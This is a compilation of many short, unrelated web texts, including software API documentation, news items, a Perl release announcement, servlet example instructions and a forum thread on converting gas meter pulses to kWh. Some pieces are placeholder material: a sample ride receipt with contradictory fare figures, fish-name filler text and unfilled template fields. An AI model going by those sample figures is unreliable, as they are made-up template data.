- Window has been exposed and should be redrawn
- Moved
- Window has been moved to data1, data2
- Resized
- Window has been resized to data1Xdata2
- SizeChanged
- The window size has changed,
either as a result of an API call or through
the system or user changing the window size.
- Minimized
- Window has been minimized.
- Maximized
- Window has been maximized.
- Restored
- Window has been restored to normal size and position.
- Enter
- Window has gained mouse focus.
- Leave
- Window has lost mouse focus.
- FocusGained
- Window has gained keyboard focus.
- FocusLost
- Window has lost keyboard focus.
- Close
- The window manager requests that the window be closed.
- struct Event;
- The Event structure.
Event defines a system event and it's parameters
Author:
rschuett
- enum Type: int;
- All supported Event Types.
- Quit
- Quit Event. Time to close the window.
- Window
- Something happens with the window.
- KeyDown
- A key is pressed.
- KeyUp
- A key is released.
- MouseMotion
- The mouse has moved.
- MouseButtonDown
- A mouse button is pressed.
- MouseButtonUp
- A mouse button is released.
- MouseWheel
- The mouse wheel has scolled.
- TextEdit
- < Keyboard text editing (composition)
- TextInput
- < Keyboard text input
- Type type;
- The Event Type.
- uint timestamp;
- Milliseconds since the app is running.
- uint windowId;
- The window which has raised this event.
- struct KeyboardEvent;
- The Keyboard Event structure.
- Keyboard.State state;
- Keyboard State. See: Dgame.Input.Keyboard.
- Keyboard.Code code;
- The Key which is released or pressed.
- Keyboard.ScanCode scancode;
- The Key which is released or pressed.
- Keyboard.Mod mod;
- The Key modifier.
- alias key = code;
- An alias
- bool repeat;
- true, if this is a key repeat.
- struct TextEditEvent;
- Keyboard text editing event structure
- char[TextSize] text;
- < The editing text
- short start;
- < The start cursor of selected editing text
- ushort length;
- < The length of selected editing text
- struct TextInputEvent;
- Keyboard text input event structure
- char[TextSize] text;
- < The input text
- struct WindowEvent;
- The Window Event structure.
- WindowEventId eventId;
- < The Window Event id.
- struct MouseButtonEvent;
- The Mouse button Event structure.
- Mouse.Button button;
- The mouse button which is pressed or released.
- short x;
- Current x position.
- short y;
- Current y position.
- struct MouseMotionEvent;
- The Mouse motion Event structure.
- Mouse.State state;
- Mouse State. See: Dgame.Input.Mouse.
- short x;
- Current x position.
- short y;
- Current y position.
- short rel_x;
- Relative motion in the x direction.
- short rel_y;
- Relative motion in the y direction.
- struct MouseWheelEvent;
- The Mouse wheel Event structure.
- short x;
- Current x position.
- short y;
- Current y position.
- short delta_x;
- The amount scrolled horizontally.
- short delta_y;
- The amount scrolled vertically.
- KeyboardEvent keyboard;
- Keyboard Event.
- WindowEvent window;
- Window Event.
- MouseButtonEvent mouseButton;
- Mouse button Event.
- MouseMotionEvent mouseMotion;
- Mouse motion Event.
- MouseWheelEvent mouseWheel;
- Mouse wheel Event.
- TextEditEvent textEdit;
- Text edit Event.
- TextInputEvent textInput;
- Text input Event.
Page generated by Ddoc.


Getting ready for Olavstoppen
I start in my new job at Olavstoppen the 1st of April. Yesterday I got an email with some more information on what technology I will be using: React, React-Native and Redux.
I have some knowledge with React from one small project in class ( and some tinkering on my own ), but I can’t say that I’m a pro. Not yet at least.
My goal is to (1.) be efficient in writing code in React, then (2.) to be comfortable with the basics of React Native and also (3.) to have a good enough understanding of the workings of Redux. … and all this in 10 days. Wish me good luck!
So… That was the introduction to the series “Henry is getting ready for Olavstoppen”. You can find the other posts by following the tag “Getting Ready 4 OT”.
Les andre poster


Psalms 119:23
Princes also did sit and speak against me: but thy servant did meditate in thy statutes.


This shows how you can use new "html-client" recipe to create editable html widgets. "html-client" recipe is the only one being rendered on the client (browser) side. This allows widgets to be more user interactive and use javascript functions provided by the parent page.
Hover the widget and click Edit button to pop up jsreport editor where you can modify widget.


Dear Candidate,
Thanks for yor interest in N.U.E Offshore Resources Ltd.
We hereby acknowledge that we have received your application for the role of {{ job.title }}
Kindly note that only shortlisted applicants will be contacted
Regards,
Recruitment Team


|
Embedded Artistry Framework
Embedded Systems C++ Framework
|
Classes | |
| class | embvm::VirtualThread |
| Defines the VirtualThread interface. More... | |
Namespaces | |
| embvm | |
| Embedded framework core interfaces, classes, and definitions. | |
| embvm::this_thread | |
| Functions that operate on the currently active thread. | |
Functions | |
| void | embvm::this_thread::sleep_for (const embvm::os_timeout_t &delay) noexcept |
| Sleep the currently running thread for a set amount of time The thread will sleep for at least the specified time, but may sleep longer depending on the scheduler. More... | |
| void | embvm::this_thread::yield () noexcept |
| Yields execution of the current thread so other threads can run. More... | |
| embvm::thread::handle_t | embvm::this_thread::get_handle () noexcept |
| Get the native handle for the currently active thread. More... | |


This example shows the usage for Font Awesome in the different modes: Ticket 4 at GitHub. It would be nice to have the buttons in different sizes, different colors, ... to show how to have some variations.


Tributes after Rugeley Town Council vice chairman Mick Grocott dies
The current vice chairman of a town council has died.
by Jordan ReynoldsCouncillor Mick Grocott, vice chairman of Rugeley Town Council, has passed away, the authority has said.
Council meetings scheduled for tonight and tomorrow have been cancelled as a mark of respect.
Councillor Grocott was first elected to Rugeley Town Council in 1999, and served as chairman in 2003, 2009, 2010 and 2015.
Rugeley Town Council posted on Facebook saying: "It is with great sadness that Rugeley Town Council announces the passing of much respected Councillor Mick Grocott.
"As a mark of respect, the council meetings arranged for tonight and tomorrow will be cancelled.
"Our thoughts and condolences go to Mick's wife Julie, and their family."
Councillor Grocott was a former Cannock Chase District councillor from 2000 and served as a cabinet member for sports and leisure on the council.
Councillor Neil Stanley said: "He was a driving force behind the building of Rugeley swimming pool and the expansion of the leisure centre.
"Outside of the council he was formerly chairman of Etching Hill Lions Football Club, which had youth teams throughout the town.
"He was born and raised in Rugeley and used to work for Armitage Shanks."


The HTML is safe to serve to users because:
- Our HTML templates have been reviewed so that the distinction
between contributed content and site content is clear to users.- The
html
template tag only lets TrustedHtml values specify
markup elements. Other values can only specify HTML text nodes.- Only modules on the TrustedHtmlProducer list can create
TrustedHtml values.- All such modules have been carefully reviewed.


The following code was used to create all of the panels. The Add Field Panel is shown when the user tries to add a field in the search builder. The other panels are used by the search-components to extend how the user can choose data.
search-components


Introducing the vagrant-vcloud provider
25 May 2014While continuing to explore what the vagrant-vsphere provider is capable of I came across the vagrant-vcloud provider, which had recently released a new version. I work for the vCHS operations group, so I figured it would be interesting to compare the feature differences of the vsphere & vcloud providers.
Over the next few blog posts I intend to cover the following vagrant-vcloud provider related topics:
- Installing Vagant and the vagrant-vcloud plugin on a CentOS 6.x virtual machine in vCloud Directory or vCHS
- Creating a simple vagrant-vcloud Vagrantfile configuration to deploy a vm
- Creating a more advanced vagrant-vcloud Vagrantfile configuration
- Creating a CentOS 6.x .box that is customized for Vagrant and vcloud director
These posts will hopefully explain the steps necessary to get vagrant-vcloud installed and working with a vCloud Director or vCHS environment.


RIFE and all related examples are distributed under the following license :
Copyright 2001-2008 Geert Bevin and contributors more info. Licensed under the Apache License, Version 2.0 (the "License")
Just use this directory as the webapps
directory of your servlet container.
The supported servlet engines are (these are minimal version numbers, later versions work too):
Each web-application in the webapps
directory contains a WEB-INF/lib
directory. The jar file of RIFE has to be copied there for each and every web application.
The RIFE jar that corresponds to this release of the examples can be found in the ROOT/WEB-INF/lib
directory.
Under a unix-like system (GNU/Linux for instance) you can do this quickly by executing the following bash script inside the webapps
directory:
for f in `find . -name WEB-INF | grep -v ROOT`; do mkdir -p ${f}/lib/; cp ROOT/WEB-INF/lib/rife-*.jar ${f}/lib/; done
You can download the latest RIFE jar from the project's website
Don't put this jar file in your servlet engine's lib, ext, or other engine-wide library location. Each web application needs to have its own private copy of the RIFE jar.
To be able to try out the examples, you now only have to start your servlet engine.
If you are reading this page through your servlet engine, you can just click on a link below to go to an example web application.
A typical first example that outputs Hello World to a web page.
Demonstrates advanced usage of the template engine by recursively constructing and displaying a tree structure.
A simple number guessing game that shows how elements are chained together in a site structure through flowlinks and datalinks. An example of how to retrieve information from the visitor through a submission is also included.
The same number guess game as above, but it has been implemented with web continuations instead. This clearly demonstrates the conciseness and logical grouping that web continuations bring to web applications.
Uses basic database access to display a list of friends with links to their websites.
The application includes an administration interface for installing, populating and removing the database structure. Addionally, it's also possible to add new friends.
RIFE makes it possible to use Java Beans to centralize the creation of database structures, the validation of form data and the storage and retrieval of data. This examples demonstrates the latter with the tutorial.friends.backend.Friend
bean.
Prerequisites
A database instance has to be running and have been setup with the correct user and password. This example supports either PostgreSQL or MySQL. The JDBC driver are already included.
The database connection settings are defined in this file :
05_friends_basic/WEB-INF/classes/rep/datasources.xml
To make the application use one of the datasources that are defined there, the DATASOURCE
parameter has to be set to the correct datasource name in this file :
05_friends_basic/WEB-INF/classes/rep/config.xml
Inheritance is used to automatically decorate certain urls with frames without having to be troubled by the maintenance of framesets.
Public pages are freely accessible, while other pages are protected through authentication. According to the user's role, acess is granted to protected parts of the site.
The login/logout box is perfectly isolated and shows how code can be re-used and transparently integrated through embedded elements.
Continuations are used to handle the intermediate steps during an order checkout process. By providing a custom clone()
implementation, the individual steps are prefilled with earlier submitted data if the user has pressed the back button.
Embedded elements are used as individual counters that handle their own state and submission events. The whole application has been written solely in Java, without any XML. The declarations of the embedded Counter element are provided through JDK 1.5 annotations. (this example doesn't work on JDK 1.4 because of the use of annotations)
A hangman word guessing game that interfaces with a structured model that is stored in the session. The whole application has been written solely in Java, without any XML. The declarations of the elements are provided through JDK 1.5 annotations. (this example doesn't work on JDK 1.4 because of the use of annotations)
The downloads are available at File sharing.
The examples can be tried online at http://rifers.org/examples.
The users guide can be read online at http://rifers.org/docs/usersguide.
The API documentation can be read online at http://rifers.org/docs/api.
The issue-tracker is available at http://servlet.uwyn.com/issues.
The wiki is available at http://rifers.org/wiki.
The mailinglists are set up at Uwyn, the following are available:
Real-time chatting about RIFE can be done through IRC at irc.freenode.net in the channel #rife.


Next: satisfies, Previous: method-combination, Up: Types and Classes Dictionary
t
The set of all objects. The type t is a supertype of every type, including itself. Every object is of type t.


Your Trip
$65.00
Client
Jacob S.berlund
Trip
B
Sunday,NOV.15,5:14PM
6545 Somerset Blvd Santa Monica CA,90028
Airline
British Airline
Flight Number
196
Total Time
4:30
Distance
24 mi
Rate
$260
Driver
Michael Schumarcher
Fare Breakdown
| Item Description | Cost |
| Base Fare | $100 |
| Add-Ons | $15 |
| Aditional Miles | $10 |
| Subtotal | $10 |
| Tax | $10 |
| Total $65.00 |


Tacha shares 1st studio photo in 2013
by Sanya AgunbiadeReality TV star Tacha is trending on social media once again, after she shared her 1st studio photo from way back 2013.
In the photo, the social media influencer revealed she was in 100 level in the university and what captured the attention of other users on social media was her conspicuous dark skin.
The star is currently light-skinned and many are wondering how so many things could change in people’s lives in a space of 6 years.


Ex-boxing champ Scott Harrison announces birth of fifth child
The former world champion took to social media to share the news that his partner Stacey gave birth to a baby girl on Monday.
by Kathleen SpeirsBoxer Scott Harrison is celebrating the birth of his fifth child.
The former world champion took to social media to share the news that his partner Stacey gave birth to a baby girl on Monday.
On Twitter Scott , 42, shared an adorable snap kissing his new arrival's head in the hospital ward.
He wrote: "“My wee princess born today 8lb 14oz.
“We love you - welcome to the world!!xx”
Last October we told how his partner Stacey suffered a devastating miscarriage.
Scott, Stacey along with their three sons and one daughter spoke of their agony and how 'cruel life can be'.
At the time, Scott posted on Twitter: "I’m saddened to inform you that my beautiful missus Stacey has had a miscarriage. We are absolutely devastated. Life can be cruel at times.
“Did not want to write this on social media but a lot of people still congratulating me and Stacey on the baby.”
Stacey and Scott’s four children suffered the agony of him being in jail for three years.
He served the first part of his sentence in Spain after being found guilty of an assault in the nightclub there in 2012.
The couple had planned to wed in 2015 but that had to be cancelled when Scott was extradited to Spain.
Scott, who won two world titles and staged 12 defences before he was stripped of his belt, has vowed to get back to the top of the sport.


- Seamless Cotton
- $3.59 pre yard
- Fabric Pattens
- $4.19 per yard
- Wrinkle Free
- $3.50 per yard
- Designer Fabric
- $4.99 per yard
Coustom Fashion Blog
Here at FashionEmporium,we know quality and comfort are not compromised anytime. Your prirority is our mission. We work hard to satisfy our coustomers. Coustomer satisfation is our goal.


 Good programmers write code that humans can understand.”
Great tests are like an instruction manual: they document how your code is meant to be used. Tests also offer verification: if it’s not tested, how do we know it works?
If it’s not a bottleneck, don’t spend time optimising like it is.
“Duplication is far cheaper than the wrong abstraction.”
Build small, self-contained units that are responsible for one thing only. Strive for boringness. Avoid incomprehensible “magic”.
Keep an eye on trends, but prefer established technologies. Acknowledge the hot new thing, but wait for it to mature.
By helping everyone around you improve, you become exponentially better than simply the sum of your working hours.
Communicate pragmatically & clearly. Don’t assume people know what you know. We love bullet points.
Whether you’ve been here for a decade or a day, your input is sought. When everyone participates in the process, everyone learns - (for example, in peer review) from the author, to the reviewer, to the bystander silently reading a comment thread.
Be proactive in securing your own work. Be diligent in securing others’ work.
Don’t expose any personal data we don’t need to, no matter how insignificant it may seem.
Users can choose to up and leave to a competitor within seconds. Don’t give them time to consider this by shipping frustratingly slow software.
You are the final layer between ideas and the user. Don’t hesitate to resist change requests: argue passionately, but respectfully. Explain yourself, cite precedent, offer alternatives, but above all respect the original motivation.
Our primary tool is Ruby. We identify with the language because it is designed around human needs, not computer needs. It is explicitly optimised for programmer happiness and we should strive to continue that trend in our own work.
Let your personality show in how you interact with others, and let it show in your work.
Programming is a science, but our work needn’t always be antiseptic. A little artistry can be refreshing, sometimes. But remember, ”real artists ship”.
 People rarely solve problems by brute-forcing them with sheer hours. Workaholics aren’t heroes.


Caches are an important component of the OpenRate architecture. Whereas the plug ins are related to the pipelines (which are generally stateless) cache objects contain state and lookup information, usually held in memory for performance reasons.


Manchester United line up potential £185million double transfer for January
by Mark BrusManchester United are reportedly lining up January transfer deals for Borussia Dortmund winger Jadon Sancho and Red Bull Salzburg striker Erling Haaland.
According to the Daily Mirror, Sancho would likely cost around £100million, while Haaland is valued at around £85m, so it could be a big-spending January for the Red Devils if they manage to get both deals done.
MORE: Manchester United eyeing five Premier League-based transfer targets as Solskjaer seeks boost in attack
Admittedly, this seems hugely ambitious for United, with January not usually the best time to get big-name or big-money transfers done.
Clubs don’t tend to want to sell star players in the middle of the season, when there is less time to replace them, and when the risk of derailing their campaign is a bigger risk.
Still, the Mirror note that Sancho is having a difficult time at Dortmund at the moment, so perhaps that gives Man Utd some hope of getting this exciting signing done.
The England international is a hugely promising young talent who could undoubtedly improve Ole Gunnar Solskjaer’s struggling attack.
Sancho had been a summer target for MUFC, but the Mirror claim the club now want to sign him in January amid his struggles in Germany.
With Haaland, the Mirror claim United could try loaning the Norwegian youngster back to Red Bull Salzburg for the rest of the season, which could perhaps be another way of boosting their hopes of a January deal.
These two teenage talents have been in superb form in recent times and could give fans renewed hope of a bright future at Old Trafford if they join.


public class BankAccount
extends java.lang.Object
BankAccount.java
- stores balances, allows deposits/withdraws.
BankAccount
can be called by the following:
BankAccount b = new BankAccount();
BankAccount c = new BankAccount(2342.12);
BankAccount d = new BankAccount(2342.12, "Ethan Lee", 2.25, 1234);
These parameters are explained below.
| Modifier and Type | Field and Description |
|---|---|
java.lang.String |
accountID
A misnomer, really - only holds the name of the account holder.
|
protected double |
balance
Stores the balance for a BankAccount, in a double format.
|
protected double |
BANK_FEE |
private static java.text.NumberFormat |
currencyFormat
Used to printout money values in the correct locale format.
|
protected double |
interest
Stores the interest for a BankAccount, in a double format.
|
protected int |
MAX_FREE_TRANSACTIONS |
protected int |
numTransactions |
protected int |
pinNumber
Stores an integer PIN number for a BankAccount.
|
protected boolean |
transactOn
Used for authentication, indicates if account is
open to transactions or not.
|
| Constructor and Description |
|---|
BankAccount()
Constructs a new BankAccount with an empty balance.
|
BankAccount(double initial)
Constructs a BankAccount with only an initial balance.
|
BankAccount(double initial,
java.lang.String name,
double rate,
int pin)
Constructs a new BankAccount with all set parameters.
|
| Modifier and Type | Method and Description |
|---|---|
void |
addInterest(double percentageRate)
Applies a certain interest rate and adds it to the balance.
|
void |
deductMonthlyCharge()
Calculates and deducts the monthly charge from the current bank account.
|
void |
deposit(double amount)
Deposits a certain amount into the current account if
logged in.
|
boolean |
doAuth(int challenge)
Checks PIN authentication.
|
double |
getBalance()
Returns the balance for an account.
|
void |
send(BankAccount recipient,
double amount)
Sends a certain amount from one account (implicit) to another.
|
java.lang.String |
toString()
Returns a summary of the account when called via toString(),
overrides default Object toString() method.
|
void |
voidAuth()
Disables transaction sending, essentially logging out.
|
void |
withdraw(double amount)
Withdraws a certain amount if logged in.
|
protected double balance
protected double interest
protected int pinNumber
protected boolean transactOn
protected int numTransactions
protected final double BANK_FEE
protected final int MAX_FREE_TRANSACTIONS
private static java.text.NumberFormat currencyFormat
public java.lang.String accountID
public BankAccount()
public BankAccount(double initial)
public BankAccount(double initial, java.lang.String name, double rate, int pin)
public boolean doAuth(int challenge)
challenge
- the attempted PINpublic void voidAuth()
public void deposit(double amount)
amount
- the amount to be depositedpublic void withdraw(double amount)
amount
- the amount to be withdrawnpublic void deductMonthlyCharge()
public void send(BankAccount recipient, double amount)
recipient
- the BankAccount receiving the moneyamount
- the amount to be sentpublic void addInterest(double percentageRate)
percentageRate
- the rate of interest to be calculated inpublic double getBalance()
public java.lang.String toString()
toString
in class java.lang.Object


|
Lab1
|
#include <MK70F12.h>
Data Fields | |
| uint8_t | PERID |
| uint8_t | RESERVED_0 [3] |
| uint8_t | IDCOMP |
| uint8_t | RESERVED_1 [3] |
| uint8_t | REV |
| uint8_t | RESERVED_2 [3] |
| uint8_t | ADDINFO |
| uint8_t | RESERVED_3 [3] |
| uint8_t | OTGISTAT |
| uint8_t | RESERVED_4 [3] |
| uint8_t | OTGICR |
| uint8_t | RESERVED_5 [3] |
| uint8_t | OTGSTAT |
| uint8_t | RESERVED_6 [3] |
| uint8_t | OTGCTL |
| uint8_t | RESERVED_7 [99] |
| uint8_t | ISTAT |
| uint8_t | RESERVED_8 [3] |
| uint8_t | INTEN |
| uint8_t | RESERVED_9 [3] |
| uint8_t | ERRSTAT |
| uint8_t | RESERVED_10 [3] |
| uint8_t | ERREN |
| uint8_t | RESERVED_11 [3] |
| uint8_t | STAT |
| uint8_t | RESERVED_12 [3] |
| uint8_t | CTL |
| uint8_t | RESERVED_13 [3] |
| uint8_t | ADDR |
| uint8_t | RESERVED_14 [3] |
| uint8_t | BDTPAGE1 |
| uint8_t | RESERVED_15 [3] |
| uint8_t | FRMNUML |
| uint8_t | RESERVED_16 [3] |
| uint8_t | FRMNUMH |
| uint8_t | RESERVED_17 [3] |
| uint8_t | TOKEN |
| uint8_t | RESERVED_18 [3] |
| uint8_t | SOFTHLD |
| uint8_t | RESERVED_19 [3] |
| uint8_t | BDTPAGE2 |
| uint8_t | RESERVED_20 [3] |
| uint8_t | BDTPAGE3 |
| uint8_t | RESERVED_21 [11] |
| struct { | |
| uint8_t ENDPT | |
| uint8_t RESERVED_0 [3] | |
| } | ENDPOINT [16] |
| uint8_t | USBCTRL |
| uint8_t | RESERVED_22 [3] |
| uint8_t | OBSERVE |
| uint8_t | RESERVED_23 [3] |
| uint8_t | CONTROL |
| uint8_t | RESERVED_24 [3] |
| uint8_t | USBTRC0 |
| uint8_t | RESERVED_25 [7] |
| uint8_t | USBFRMADJUST |
USB - Peripheral register structure
| uint8_t USB_MemMap::ADDINFO |
Peripheral Additional Info Register, offset: 0xC
| uint8_t USB_MemMap::ADDR |
Address Register, offset: 0x98
| uint8_t USB_MemMap::BDTPAGE1 |
BDT Page Register 1, offset: 0x9C
| uint8_t USB_MemMap::BDTPAGE2 |
BDT Page Register 2, offset: 0xB0
| uint8_t USB_MemMap::BDTPAGE3 |
BDT Page Register 3, offset: 0xB4
| uint8_t USB_MemMap::CONTROL |
USB OTG Control Register, offset: 0x108
| uint8_t USB_MemMap::CTL |
Control Register, offset: 0x94
| uint8_t USB_MemMap::ENDPT |
Endpoint Control Register, array offset: 0xC0, array step: 0x4
| uint8_t USB_MemMap::ERREN |
Error Interrupt Enable Register, offset: 0x8C
| uint8_t USB_MemMap::ERRSTAT |
Error Interrupt Status Register, offset: 0x88
| uint8_t USB_MemMap::FRMNUMH |
Frame Number Register High, offset: 0xA4
| uint8_t USB_MemMap::FRMNUML |
Frame Number Register Low, offset: 0xA0
| uint8_t USB_MemMap::IDCOMP |
Peripheral ID Complement Register, offset: 0x4
| uint8_t USB_MemMap::INTEN |
Interrupt Enable Register, offset: 0x84
| uint8_t USB_MemMap::ISTAT |
Interrupt Status Register, offset: 0x80
| uint8_t USB_MemMap::OBSERVE |
USB OTG Observe Register, offset: 0x104
| uint8_t USB_MemMap::OTGCTL |
OTG Control Register, offset: 0x1C
| uint8_t USB_MemMap::OTGICR |
OTG Interrupt Control Register, offset: 0x14
| uint8_t USB_MemMap::OTGISTAT |
OTG Interrupt Status Register, offset: 0x10
| uint8_t USB_MemMap::OTGSTAT |
OTG Status Register, offset: 0x18
| uint8_t USB_MemMap::PERID |
Peripheral ID Register, offset: 0x0
| uint8_t USB_MemMap::REV |
Peripheral Revision Register, offset: 0x8
| uint8_t USB_MemMap::SOFTHLD |
SOF Threshold Register, offset: 0xAC
| uint8_t USB_MemMap::STAT |
Status Register, offset: 0x90
| uint8_t USB_MemMap::TOKEN |
Token Register, offset: 0xA8
| uint8_t USB_MemMap::USBCTRL |
USB Control Register, offset: 0x100
| uint8_t USB_MemMap::USBFRMADJUST |
Frame Adjust Register, offset: 0x114
| uint8_t USB_MemMap::USBTRC0 |
USB Transceiver Control Register 0, offset: 0x10C


Pat's Story
Beardfish scabbard fish angler catfish rockling john dory temperate ocean-bass collared carpetshark kissing gourami. Muskellunge eelblenny Billfish trumpeter eelblenny wobbegong koi, blue gourami. Airsac catfish silver driftfish croaker, pike; oceanic whitetip shark goldeye wormfish, toadfish knifejaw ladyfish lungfish bigeye crocodile shark. Silverside, spiny basslet European chub; mola." Starry flounder wrasse tubeshoulder sandburrower capelin golden loach dorab, Jack Dempsey knifejaw Celebes rainbowfish. Ribbonbearer halibut pearleye sixgill shark Hammerjaw; grayling yellowtail barracuda yellowbelly tail catfish tripod fish. Ghost knifefish, "whiff sole shad halfbeak featherback spotted danio peladillo; barracudina Red salmon, tadpole cod orbicular velvetfish." Marine hatchetfish spookfish mahi-mahi, crevice kelpfish yellowmargin triggerfish spotted danio leopard danio hammerhead shark, dwarf gourami pilot fish banjo catfish.
Pygmy sunfish combtail gourami splitfin armored gurnard northern sea robin South American darter. Amago, loach bull shark wolf-herring electric catfish tigerperch glass knifefish oarfish sandperch velvet catfish pirate perch gulper smoothtongue.
Clown loach Steve fish pompano Red whalefish beardfish; pike characid marblefish mouthbrooder yellowtail kingfish. Seahorse bowfin, "Atlantic salmon halosaur freshwater herring swordtail jackfish!" Swamp-eel riffle dace kaluga, "frogfish South American darter," haddock peacock flounder Russian sturgeon sand dab buffalofish, kelpfish Rabbitfish sea dragon smoothtongue. Lake whitefish tui chub redmouth whalefish barfish peacock flounder sargassum fish, "Redhorse sucker bent-tooth dottyback queen parrotfish speckled trout." Gudgeon, river loach cow shark rocket danio, noodlefish píntano, northern clingfish cuckoo wrasse, armorhead. Swamp-eel, "Antarctic icefish ide largenose fish, sand goby, boga Pacific viperfish; burbot, Shingle Fish."


[§261E-1] Application of chapter; interstate or foreign commerce. This chapter shall not apply to commerce with foreign nations, with territories of the United States, or to interstate commerce, except insofar as the application is permitted under the Constitution and laws of the United States. [L Sp 2008, c 1, pt of §2]


|
PI-RADS Trainer is developed and managed by researchers at Medical Informatics Laboratory at Queen's University and Surgical Planning Laboratory at Harvard Medical School. The core image viewer is developed with OHIF viewer , Cornerstone, and dcmqi. PIRADS-Trainer is populated with the data from Radboud University Medical Centre, Nijmegen containing more than 200 MR images with pathological information. PI-RADS is an acronym for Prostate Imaging Reporting and Data System, defining standards of high quality clinical service for multi-parametric Magnetic Resonance Imaging (mpMRI), including image creation and reporting. PI-RADS v2 document can be found here. |
| Name | Value |
|---|---|
| Repository URL | {{githubUrl}} |
| Last Commit Hash | {{gitRev 'long'}} |
| Latest Tag | {{gitRev 'tag'}} |
| Branch | {{gitRev 'branch'}} |


Girl Develop It is here to provide affordable and accessible programs to learn software through mentorship and hands-on instruction.
Some "rules"
I'm happy to have you here.
Let's take a few minutes and get to know each other.
Well...
... it turns out there isn't much to learn, terminology-wise.
PSD: The file extension for a Photoshop files.
We'll cover other terms as we get to them.
Raster:
Vector:
It's kind of hard to get away from Photoshop but some people do! They use:
Under the Photoshop menu.
Saved arrangements of:
Roll your own!
(In the Window menu)
Please visit
http://bit.ly/gdi-photoshop
to submit your feedback about this class. It's anonymous and I really really really appreciate it.


[% page.title = "Perl 5.22.0 Release Announcement" %]
We are excited to announce Perl 5.22.0, the first stable release of Perl 5, version 22.
You will soon be able to download Perl 5.22.0 from your favorite CPAN mirror or find it at:
https://metacpan.org/release/RJBS/perl-5.22.0/
SHA1 digests for this release are:
400338c91c56420d98142cbfcb84d418cae2c98c perl-5.22.0.tar.bz2 e4c9e40d18efa7368e77343e0fd3339ca87e34f8 perl-5.22.0.tar.gz f40ad10d0b0e798efafebd9dc5d6509df2af3f1e perl-5.22.0.tar.xz
You can find a full list of changes in the file "perldelta.pod" located in the "pod" directory inside the release and on the web.
Perl 5.22.0 represents approximately 12 months of development since Perl 5.20.0 and contains approximately 590,000 lines of changes across 2,400 files from 94 authors.
Excluding auto-generated files, documentation and release tools, there were approximately 370,000 lines of changes to 1,500 .pm, .t, .c and .h files.
Perl continues to flourish into its third decade thanks to a vibrant community of users and developers. The following people are known to have contributed the improvements that became Perl 5.22.0:
Aaron Crane, Abhijit Menon-Sen, Abigail, Alberto Simões, Alex Solovey, Alex Vandiver, Alexandr Ciornii, Alexandre (Midnite) Jousset, Andreas König, Andreas Voegele, Andrew Fresh, Andy Dougherty, Anthony Heading, Aristotle Pagaltzis, brian d foy, Brian Fraser, Chad Granum, Chris 'BinGOs' Williams, Craig A. Berry, Dagfinn Ilmari Mannsåker, Daniel Dragan, Darin McBride, Dave Rolsky, David Golden, David Mitchell, David Wheeler, Dmitri Tikhonov, Doug Bell, E. Choroba, Ed J, Eric Herman, Father Chrysostomos, George Greer, Glenn D. Golden, Graham Knop, H.Merijn Brand, Herbert Breunung, Hugo van der Sanden, James E Keenan, James McCoy, James Raspass, Jan Dubois, Jarkko Hietaniemi, Jasmine Ngan, Jerry D. Hedden, Jim Cromie, John Goodyear, kafka, Karen Etheridge, Karl Williamson, Kent Fredric, kmx, Lajos Veres, Leon Timmermans, Lukas Mai, Mathieu Arnold, Matthew Horsfall, Max Maischein, Michael Bunk, Nicholas Clark, Niels Thykier, Niko Tyni, Norman Koch, Olivier Mengué, Peter John Acklam, Peter Martini, Petr Písař, Philippe Bruhat (BooK), Pierre Bogossian, Rafael Garcia-Suarez, Randy Stauner, Reini Urban, Ricardo Signes, Rob Hoelz, Rostislav Skudnov, Sawyer X, Shirakata Kentaro, Shlomi Fish, Sisyphus, Slaven Rezic, Smylers, Steffen Müller, Steve Hay, Sullivan Beck, syber, Tadeusz Sośnierz, Thomas Sibley, Todd Rinaldo, Tony Cook, Vincent Pit, Vladimir Marek, Yaroslav Kuzmin, Yves Orton, Ævar Arnfjörð Bjarmason.
The list above is almost certainly incomplete as it is automatically generated from version control history. In particular, it does not include the names of the (very much appreciated) contributors who reported issues to the Perl bug tracker.
Many of the changes included in this version originated in the CPAN modules included in Perl's core. We're grateful to the entire CPAN community for helping Perl to flourish.
For a more complete list of all of Perl's historical contributors, please see the AUTHORS file in the Perl source distribution.
We expect to release perl v5.22.1 in about a month, give or take. The next major version of Perl 5, version 24.0, should appear in May 2016.
The first release of Perl 5's sister language, Perl 6, is expected around Christmas 2015.


My Gas bill tells me they calculate kWh from gas readings as:
Units consumed (m3) * Calorific value (39.2) * Volume Correction (1.02264) / 3.6
I am successfully recording an input which registers meter increment pulses at 0.01m3 since last read (using rate of change). How do I take that value and create a kWh value for the number of pulses received? I'd like to record how much kWh per day, week, month, etc also, like we do with Watts.
Re: Converting a 0.01m3 input to kWh... any ideas?
Can't you just do the sum and enter it as a fixed value x 0.1113541 and log to feed kwh & kwh/d etc ?
(0.01 x 39.2 x 1.02264 / 3.6 = 0.1113541)
Paul
Re: Converting a 0.01m3 input to kWh... any ideas?
No Actually it's 0.111354133 when not rounded off by calculator :-)
Paul
Re: Converting a 0.01m3 input to kWh... any ideas?
Thanks Paul. I guess I should be a but more specific. I've never performed a calculation on a feed before - so a bit of a basic use question... How do I take the count multiply by the result, and convert to a kWh feed?
I've had a go, but not sure I'm doing it right. My attempt attached.
Thanks again for you help.
Re: Converting a 0.01m3 input to kWh... any ideas?
Am I being thick, but surely the meter pulses already represent energy (not power) so can you not leave out both the rate of change and the final Power to kWh? It seems silly to me to differentiate energy to get a power, and then integrate to get back to energy.
Re: Converting a 0.01m3 input to kWh... any ideas?
I dont think that will work as the sensor send cumulative clicks so far, not clicks since last send. So I need to use the rate of change to determine how many clicks since the last read. I then need to calculate on the clicks.
I like to chart on kWh per day, so that's why I use that final step.
Am I duplicating?
Re: Converting a 0.01m3 input to kWh... any ideas?
Does the "rate of change" part work ok? it's not something I've used. but once you have "clicks new" that figure will represent 10's of watt/hrs (0.01Kw/hrs) multiplied by 0.111354133 for a kw/hr value and just "log to feed" NOT "Power to kwh", as Robert says that bit is already done, then I think you'll able to log that to a "kwh to kwh/d" for a day by day total.
Paul
Re: Converting a 0.01m3 input to kWh... any ideas?
rate of change works very well. Reports 0 in no change since last read (0 watts), and the number of clicks since the last read - so perfect for this sensor. Updated to attached... just need some gas to burn now to check if its working
Re: Converting a 0.01m3 input to kWh... any ideas?
I'm not so sure "log to feed" will work now I think about it some more. can you add these 2 lines to the same input after the "kWh Gas" test them at the same time?
accumulator call it "kwh gas 2"
kwh to kWh/d call it "kwh gas today"
Maybe an experienced pulse counter will chip in and confirm if we're doing the right thing
Paul
Re: Converting a 0.01m3 input to kWh... any ideas?
Three steps I'd recommend:
log to feed - instantaneous pulses
accumulator - total pulses ever
kwh to kwh/d - pulses per day
